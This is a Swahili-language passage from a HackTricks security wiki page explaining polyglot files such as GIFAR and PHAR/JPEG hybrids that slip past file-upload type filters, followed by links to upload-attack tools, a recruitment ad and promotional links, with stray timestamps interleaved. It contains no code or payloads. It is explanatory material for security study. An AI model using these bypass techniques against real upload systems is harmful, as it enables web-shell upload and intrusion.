Faili za polyglot ni zana ya kipekee katika usalama wa mtandao, zikifanya kazi kama kinyonga ambazo zinaweza kuwepo kihalali katika muundo wa faili zaidi ya moja kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), ambayo ni mchanganyiko wa GIF na kumbukumbu ya RAR. Faili kama hizi haziko tu katika mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia ni wa kufikirika.
2020-10-15 13:16:06 +00:00
Umuhimu wa msingi wa faili za polyglot ni uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kulingana na aina. Mazoea ya kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kwa kupakia—kama JPEG, GIF, au DOC—kupunguza hatari inayosababishwa na muundo wa faili zenye madhara (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kufuata vigezo vya muundo wa aina mbalimbali za faili, inaweza kwa siri kuzunguka vizuizi hivi.
2020-10-15 13:16:06 +00:00
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na sifa za faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za nyongeza za faili za jukwaa. Ikiwa mfumo unazingatia vikwazo vya nyongeza zinazoruhusiwa, uhalisia wa kimaundo wa polyglot pekee huenda usitoshe kuhakikisha kupakia kwake.
2020-10-15 13:16:06 +00:00
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2024-02-05 20:00:40 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-05 20:00:40 +00:00
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunatoa ajira!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>